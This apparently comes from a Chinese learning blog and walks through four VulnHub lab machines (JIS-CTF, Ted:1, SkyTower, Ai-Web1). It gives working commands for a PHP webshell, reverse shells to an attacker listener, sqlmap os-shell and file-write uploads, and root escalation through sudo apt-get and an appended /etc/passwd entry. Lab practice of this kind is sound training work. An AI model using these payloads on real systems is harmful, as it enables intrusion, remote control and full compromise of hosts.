vulnhub靶机学习记录

JIS-CTF

introduce

主要的漏洞是任意文件上传,同时结合渗透测试和 ctf 的相关知识去获取一共 5 个 flag。
下载地址:https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/

  • flag1
    目录扫描,在可见 flag 文件里

  • flag2
    目录扫描,在有提示的可以目录源代码中。有点 ctf 味道,实际渗透也可以思索前端信息利用。

  • flag3
    任意文件上传,蚁剑连接,在相关文件中查找到隐藏 flag

  • flag4
    查找相关文件可以获取到其他用户信息密码

  • flag5
    使用其他用户信息和密码进行暴露的 ssh 端口连接

Penetration testing

  1. 信息收集
  • 查找网卡当前设备
    获取到目标主机 ip
1
netdiscover -i eth0


ip 大概率是 192.168.21.138

  • namp 扫描
    对目标进行 ping 检测,不进行端口扫描(会发送四种报文确定目标是否存活,)
1
nmap -sn 192.168.21.0/24


对端口上的服务程序版本进行扫描

1
nmap -sV 192.168.21.138

  • 80 端口查看

  • 目录扫描

1
dirb http://192.168.21.138

  • 查看相关目录结构信息
    get flag1

  • 总结可以路径,获取更大探索目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
可疑路径
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag
/assets
/css
/js
/server-status
/admin_area/index.php

get flag2

  • 得到登录账号信息
1
2
3
4
<!--	username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
-->
  1. 发掘漏洞

    文件上传咩,试一试 php 文件能传不
  • 1.php
1
<?php @eval($POST_['cmd']) ?>

  • 获取文件上传路径
    翻了一波,在上面敏感路径拼凑得到
    /uploaded_files/1.php
  1. 漏洞利用
  • 蚁剑连接后门,查看网站内部文件
    get flag3
    hint.txt

提示让我们获取另外一个账号去读取 flag.txt 文件,之前也读过 flag.txt 文件,发现权限不够,读取不了。

  • 查找用户名
    这个操作系统环境搭建的时候是 Linux,之前阅读过相关文章了解到用户名和密码会存储在 /etc/passwd/ 或者 /etc/shadow/
    一般是在第二个路径,第一个路径不会显示完全
    但是呢,我读取失败了,看到网站这么多文件,我总不能一个一个翻吧。
    于是乎,我打开了蚁剑的虚拟终端,使用 shell 命令查找相关文件
1
grep -sr technawi /etc/

不显示错误信息查找子目录和 technawi 有关的文件

非常好,范围缩小了很多
get flag4

  • ssh 连接
    之前也尝试过用 admin 密码进行 ssh 连接,但是都被拒绝了。
    后门也尝试使用 technawi 进行登录框登录,但是没有获取其他有用信息。
    get flag5
  1. 总结
    这个靶场属于简单的类型,主要就是任意文件上传加上一个 ssh 远程连接。其他主要考察信息利用,感觉多刷还是可以的,有感觉,自然而然拓宽了渗透思路和打法。这种感觉比打 ctf 更清晰命令,还是比较适合渗透小白的我练习!

Ted:1

introduce

命令执行,提权
下载地址:https://www.vulnhub.com/entry/ted-1,327/

Penetration testing

  1. 信息收集

    IP:192.168.31.132
1
nmap -p- -A 192.168.31.132  


80 端口开放,访问看一下

  1. 获取后台权限
    登录框尝试使用弱密码进入,使用 burp 抓包查看具体回显情况。



    最终确定改组弱密码是正确的,但是呢密码没有加密正确:Password hash is not correct

哈希尝试 SHA 类算法都尝试一下
SHA-256 是正确的

  1. 探究搜索框功能
    尝试输入
1
1'
1
<script>alert('xss')</script>
1
home.php

得到如下截图



可以得到:该搜索框与数据库应该无交互、存在 xss、任意文件读取

  1. 漏洞发现
    除了会话详细信息,文件通过以下方式存储在服务器文件系统中
1
/var/lib/php/sessions/sess_<php session id>


发现 user_pref 的值好像进行回显,尝试代码执行

  1. 漏洞利用

    反弹 shell
1
<?php system("nc ip port -e /bin/bash")?>


发现权限只有当前网站 www-data
sudo -l 发现可以执行 apt-get
使用 apt-get 提权

1
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

成功获取到 root 权限

SkyTower

introduce

下载:https://www.vulnhub.com/entry/skytower-1,96/

这里啰嗦一点,补充一点搭建遇到的小问题(我是菜菜)。官方下载的文件是.vdi 文件,但是呢我的攻击机是 kali,是使用 vmware 进行搭建的,vmware 又不支持.vdi 文件,所以得先安装 virtualbox。
最好使用这个方法来搭建,因为本人尝试过使两个不同虚拟机进行通信,改变网络状况为桥接模式,尝试多种方法均因为网络问题而无法通信。

  1. 在 virtualbox 安装路径打开命令框执行以下命令(对应路径需要按照自己的修改)
1
VBoxManage clonehd <path_to_vdi_file> <path_to_vmdk_file> --format vmdk  
1
VBoxManage clonehd D:\Skytower\SkyTower.vdi D:\Skytower\SkyTower.vmdk --format vmdk
  1. 之后使用 vmware 新建虚拟机,使用现有磁盘进行搭建,这个问题可以使用搜索引擎轻松解决。
  2. 还不赶紧升级打怪?

Penetration testing

  1. 信息收集
    得到靶机 IP
1
netdiscover -i eth0

扫描靶机端口开放情况

1
nmap -A 192.168.21.144


  1. 获取后台权限
  • 尝试弱密码失败
  • 尝试 sql 注入
    使用以下语句测试
1
2
3
4
5
1
'
1 or 1 = 1#
1' or 1 = 1#
1'

最终根据回显语句猜测后台 Sql 语句应该是这个样子的

1
select '用户名' from xxx;

并且经过测试发现过滤了 or 和 =
这里可以使用两个方法巧妙绕过

1
'*'
1
1'<>'2


提示使用 ssh 登录,并且提供了用户名和密码

  1. 获取用户权限
    ssh 登录需要 22 端口,但是之前 nmap 识别端口除以关闭状态。
    尝试通过代理服务器的 3128 端口连接。
1
vim /etc/proxychains.conf
1
http 192.168.21.144 3128
1
proxychains ssh john@192.168.21.144

连接被拒绝了
创建一个虚拟终端连接

1
proxychains ssh john@192.168.21.144 /bin/bash


发现权限知识当前用户权限,查看当前文件和目录权限,发现.bashrc 文件,里面会存在对 ssh 登录的一些配置,把它删除应该可以不用创建虚拟终端也可以正常登录。

ogay!可以正常代理登录,尝试查看当前用户的 sudo 命令有什么,发现当前用户完全没有,想办法提权拥有更多权限,如果有其他用户就好了。看看当前进程情况。

1
netstat -antp

发现 3306 端口,想到 Mysql 数据库,而且在登录界面存在 sql 注入,那么 login.php 文件会不会存在数据库的配置信息?会不会有数据库用户名和密码?

  1. 获取数据库权限
    一般网站是搭建在 /var/www 目录下,在该目录下看看可以文件,查看 login.php 得到数据库用户名和密码。
1
mysql -uroot -proot

登录数据库后,查看数据库信息,得到三个用户信息,使用 Sara 用户 ssh 登录试一试

sudo 具有 ls 和 cat 权限

这个是搭建靶机,靶机页面提示的信息,应该是提示更进一步信息在 /root/flag.txt 中

1
sudo cat /accounts/../root/flag.txt

这里的…/ 我一开始没加说未找到,我就尝试加了回溯看一看就找到了。
得到 root 的密码 thisskytower

  1. 获取 root 权限

Ai-Web1

introduce

SQL 注入、文件上传、反弹 shell、提权

下载地址:https://www.vulnhub.com/entry/ai-web-1,353/

Penetration testing

  1. 信息收集

查看当前网卡设备,定位靶机 ip
netdiscover -i eth0

扫描端口开放情况
nmap -sS -sV -A -n 192.168.21.152


分别访问扫描到的端口和路径情况
80 端口没啥信息,剩下俩路径也是禁止的



目的扫描尝试获取更多信息
获取到 info.php 页面


没获取到其他详细目录

获取到 index.php 页面


感觉像 SQL 注入,抓包进行分析

  1. SQL 注入
    存在回显

抓包查看具体数据

POST 获取注入点,使用 sqlmap 获取注入信息
获取数据库
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --dbs

获取表
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 --tables

获取表中信息
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns

没有啥信息,尝试提权,提权需要知道绝对路径,查看之前扫到的 info.php

python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --level=3 --os-shell
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
www-data 网站权限到手

  1. 文件上传
1
sqlmap -u "http://192.168.21.152/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write D:/test.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/test.php



  1. 使用蚁剑进行连接

  2. 反弹 shell

-e 参数不可用,只能换一种连接方式

1
rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.132 6666 >/tmp/f

成功返回 shell

似乎不是很稳定

  1. 上传马获取 shell 权限
1
2
3
上传文件的一些小技巧:
1. 通过--file-write写入,再获取oshsell得到网站权限,最后php shell.php
2. 通过python起一个网站服务,获取oshsell得到网站权限后,在os-shell中执行wget命令下载反弹文件,最后php shell.php
1
2
3
4
<?php
$sock=fsockopen("192.168.21.132",6667);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
1
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write D:/shell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php

成功回显命令

建立交互式 shell

1
python -c "import pty;pty.spawn('/bin/bash')"
  1. 提权
    创建 myhacker 账号
1
openssl passwd -1 -salt my 123456
1
echo 'myhacker:$1$myhacker$fET8oFRfWlj8ZLk7eDnkM/:0:0::/root:/bin/bash'>>/etc/passwd

成功拿到 root 权限

  1. 获取 flag
访问量 访客